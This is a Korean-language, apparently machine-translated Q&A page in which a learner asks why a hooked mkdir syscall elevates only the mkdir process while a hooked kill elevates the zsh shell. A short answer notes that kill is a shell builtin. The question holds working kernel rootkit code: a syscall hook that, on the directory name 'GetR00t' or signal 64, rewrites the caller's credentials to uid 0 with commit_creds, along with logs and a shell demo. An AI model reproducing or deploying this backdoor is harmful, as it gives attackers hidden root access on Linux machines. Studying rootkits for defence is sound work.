커널에서 syscall을 연결할 때 kill 및 zsh의 pid는 왜인데 mkdir의 pid는 mkdir입니까?

커널에서 syscall을 연결할 때 kill 및 zsh의 pid는 왜인데 mkdir의 pid는 mkdir입니까?

나는 Linux 커널에 대해 배우기 위해 나만의 루트킷을 작성하고 있습니다. 시스템 호출에 연결하고 현재 작업의 자격 증명을 루트의 자격 증명(ieeuid=0)으로 변경하고 싶습니다. kill을 실행할 때 사용하지 않는 신호를 사용하여 이 작업을 수행할 수 있다는 것을 알 수 있습니다. kill에 연결하면 해당 신호를 포착하고 설정한 신호와 일치하는지 확인한 다음 함수를 실행하여 현재 사용자 루트에 제공된 자격 증명을 변경할 수 있습니다.

그러나 mkdir과 ​​같은 다른 시스템 호출에 연결할 때는 작동하지 않습니다. 이는 mkdir이 실행될 때 현재 프로세스가 mkdir 자체이기 때문입니다. 그러나 kill을 실행할 때 현재 프로세스는 내 zsh 쉘이므로 루트 권한이 제공됩니다.

mkdir을 마운트할 때 루트 권한을 얻고 싶었지만 위의 이유로 이것이 작동하지 않았기 때문에 zsh 인스턴스 대신 루트로 실행되도록 mkdir만 변경할 수 있었습니다.

LWN에서 일부 페이지를 읽고 있습니다(https://static.lwn.net/images/pdf/LDD3/ch02.pdf) 그리고 "open 또는 read와 같은 시스템 호출을 실행하는 동안 현재 프로세스는 호출을 호출한 프로세스입니다." 이는 mkdir의 현재 프로세스가 zsh여야 한다고 믿게 만듭니다. 호출을 호출한 프로세스입니다.

이것은 mkdir에 연결하는 코드입니다.

static asmlinkage long (*orig_mkdir)(const struct pt_regs *);

asmlinkage int fh_sys_mkdir(const struct pt_regs *regs)
{
    void set_root(void);

    printk(KERN_INFO "Intercepting mkdir call");
    
    char __user *pathname = (char *)regs->di;
    char dir[255] = {0};

    long err = strncpy_from_user(dir, pathname, 254);

    
    if (err > 0)
        {
        printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir);
        }
        


    if ( (strcmp(dir, "GetR00t") == 0) )
        {
            //execl(SHELL, "sh", NULL);
            printk(KERN_INFO "rootkit: giving root...\n");
            set_root();
            return 0;
        }

    printk(KERN_INFO "ORIGINAL CALL");
    return orig_mkdir(regs);
    
}
    

루트 액세스 권한을 얻기 위해 자격 증명을 변경하는 방법은 다음과 같습니다.

void set_root(void)
      {
           printk(KERN_INFO "set_root called");
           printk(KERN_INFO "The process is \"%s\" (pid %i)\n", current->comm, current->pid);

           struct cred *root;
           root = prepare_creds();
           
           if (root == NULL)
           {
               printk(KERN_INFO "root is NULL");
               return;
           }

            printk(KERN_INFO "Setting privileges... ");
           /* Run through and set all the various *id's of the current user and set them all to 0 (root) */
            root->uid.val = root->gid.val = 0;
            root->euid.val = root->egid.val = 0;
            root->suid.val = root->sgid.val = 0;
            root->fsuid.val = root->fsgid.val = 0;


           /* Set the credentials to root */
           printk(KERN_INFO "Commiting creds");
           commit_creds(root);

      }

다음은 kill을 실행할 때와 mkdir을 실행할 때의 pid를 보여주는 로그입니다.

$ sudo tail /var/log/syslog 
[...SNIP...]
Jan 22 10:44:43 kali kernel: [ 6170.003662] The process is "mkdir" (pid 3338) //PID of current process when mkdir is ran
Jan 22 10:46:14 kali kernel: [ 6260.534752] The process is "zsh" (pid 1396) // PID of current process when kill is ran

작동 방식에 대한 데모는 다음과 같습니다.

┌──(kali㉿kali)-[~/Documents]
└─$ mkdir GetR00t            
                                                                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/Documents]
└─$
----------------------------------------
┌──(kali㉿kali)-[~/Documents]
└─$ kill -64 1
                                                                                                                                                                                                                                                              
┌──(root

답변1

명령 kill은 에 내장되어 있으므로 zsh이것이 관련된 프로세스입니다. mkdir별도의 명령입니다.

관련 정보